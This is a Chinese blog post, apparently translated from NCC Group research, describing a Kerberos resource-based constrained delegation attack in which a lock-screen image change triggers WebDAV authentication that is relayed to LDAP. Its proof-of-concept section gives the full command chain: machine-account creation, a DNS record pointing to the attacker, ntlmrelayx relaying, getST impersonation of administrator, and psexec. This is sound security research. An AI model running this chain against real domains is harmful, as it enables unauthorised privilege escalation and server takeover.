Kerberos约束委派攻击新思路

文章来源:
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/august/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

除了常规的攻击思路,Elad Shamir发现可以利用更改用户图像配置来提权.但是有一个需要突破的难点,就是我们无法GUI操作,大部分情况下我们只有shell.

下面会介绍如何自动化完成这些攻击操作,测试的机器上的补丁也全打上了.

攻击条件

  • 至少需要有一个SPN账户,允许代表其他身份访问,然后调用S4U2self和S4U2proxy协议。
  • 受害机器安装Webdav的功能,好处是不验证签名,然后中继到LDAP服务器
  • SMB中继可以使用最近发现的签名/MIC NTLM来实现绕过,但这已经被微软修复了.
  • 添加一条指向攻击者计算机的DNS记录。 WebDAV客户端仅自动向Internet区域中的主机进行身份验证。这意味着使用IP是行不通的。
  • 在system权限的机器上访问\\maliciousWebDav@80\pics\pic.jpg

在尝试满足上面列出的依赖关系时,以下详细信息将非常有用:

  • 默认的Active Directory ms-DS-MachineAccountQuota属性允许所有域用户向域中添加最多10个计算机帐户[4]。另外,帐户具有其SPN属性的值,因此允许使用S4U协议。

  • 在Windows 10上,默认情况下安装WebDAV客户端。 在Windows Server 2012R2及更早版本中,需要桌面体验功能。 在Windows Server 2016及更高版本上,必须手动安装WebDAV重定向器功能。

  • 默认情况下,经过身份验证的用户在Active Directory集成DNS(ADIDNS)区域中具有Create all child objects'的ACL权限。 这样可以创建新的DNS记录。

前三个要求很容易实现,因为它们都是Active Directory和Windows默认的配置。 但是,GUI的依赖性在我们的场景中是一个很大的限制。

通过命令行Change图像

第一种方法,我们尝试使用API或Windows命令实用程序更改配置文件图像 - 但没有成功。 但是,我们发现通过操纵锁定屏幕图像可以实现相同的攻击路径。

下面的截图说明了这一点。

通过调查锁屏图像功能,我们发现,在这种情况下,API可用于执行锁屏图像更改。 使用此API,我们最终通过命令行实现了通过SYSTEM权限实现网络身份验证。

编写PowerShell脚本和C#程序以利用此API。 我们调用了实用程序Change-Lockscreen,它可以在以下链接中找到:

https://github.com/nccgroup/Change-Lockscreen

使用此工具,只需提供图像的WebDAV的路径,Change-Lockscreen将执行网络身份验证的操作。

请注意,默认情况下,Windows 10具有一个叫Windows Spotlight的功能。 此功能会自动下载并显示锁定屏幕图像。 启用此功能后,Change-Lockscreen将禁用它并建立参数中指定的图像(尝试使用opsec!)。 但是,如果用户设置了静态自定义锁屏图像而不是使用Spotlight,则Change-Lockscreen将备份该图像并在攻击完成后将其重新重置。

attack in Impacket

最初,我们使用了3xocyte开发的rbcd_relay.py委托中继工具(与Elad Shamir合作)[5]。 虽然这在我们的一些测试场景中正常运行,但它并没有包含我们所需的一切。 所以我们决定通过执行pull请求来构建3xocyte的工作以及我们自己对SecureAuth的Impacket项目[13]的补充。

我们的为ntlmrelayx添加了一个名为--serve-image的新方法。 有了这个新方法,ntlmrelayx将提供指定的图像然后实现攻击目的。

此外,为了利用WebDAV的服务器功能,有必要在httprelayserver.py中实现OPTIONS和PROPFIND方法。 OPTIONS方法用于通知客户端支持并启用PROPFIND方法。 它是PROPFIND请求,包括NTLM身份验证,因此这个请求将被用于中继以执行攻击(示例请求如下图所示)。

E.G

ntlmrelayx.py -t ldap://dc01.capsule.corp --delegate-access --escalate-user machine$ --serve-image ./spot.jpg

https://github.com/SecureAuthCorp/impacket

Proof of Concept

攻击步骤:

  • 我们需要一个具有ServicePrincipalName属性值的帐户才能调用S4U2Self和S4U2Proxy。 我们可以利用默认的Active Directory ms-DS-MachineAccountQuota属性将计算机帐户添加到域中并使用它(Powermad [11])。
$ pass = ConvertTo-SecureString'NCC1234!' -  AsPlainText -Force; New-MachineAccount -MachineAccount s4umachine -Password $ pass
  • 我们必须创建一个指向攻击者机器(攻击者IP)的DNS记录(ImageServer.capsule.corp)
$cred = New-Object System.Management.Automation.PSCredential (“CAPSULE\s4umachine”, $pass); Invoke-DNSUpdate -DNSType A -DNSName ImageServer.capsule.corp -DNSData 10.10.11.137 -Credential $cred -Realm capsule.corp
  • 我们通过使用low-priv用户更改锁定屏幕图像来触发Fileserver的网络身份验证。
    Change-Lockscreen –Webdav \\imageserver@80\
    
  • 使用ntlmrelayx,将身份验证中继到LDAP。
Ntlmrelayx.py -t ldap://dc01.capsule.corp --delegate-access --escalate-user s4umachine$ --serve-image ./spot.jpg

现在,我们可以使用被信任的计算机(S4UMachine$)模拟文件服务器上的任何用户。

getST.py capsule\s4umachine:’NCC1234!’@fileserver.capsule.corp -spn cifs/fileserver.capsule.corp -impersonate administrator -dc-ip 10.10.11.128
Export KRB5CCNAME=administrator.ccache
Psexec.py -k -no-pass fileserver.capsule.corp

缓解和检测攻击的方法参阅 https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

POC视频:

Kerberos - Change LockScreen

Kerberos - BlogGIF

Kerberos-RBCD PoC

References

[1] https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
[2] https://docs.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview
[3] https://docs.microsoft.com/en-us/uwp/api/windows.system.userprofile.lockscreen
[4] https://docs.microsoft.com/es-es/windows/desktop/adschema/a-ms-ds-machineaccountquota
[5] https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
[6] https://blog.preempt.com/drop-the-mic
[7] https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
[8] https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
[9] http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
[10] https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
[11] https://github.com/Kevin-Robertson/Powermad
[12] https://shenaniganslabs.io/2019/08/08/Lock-Screen-LPE.html
[13] https://github.com/SecureAuthCorp/impacket


文章作者: Wing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Wing !
评论
  目录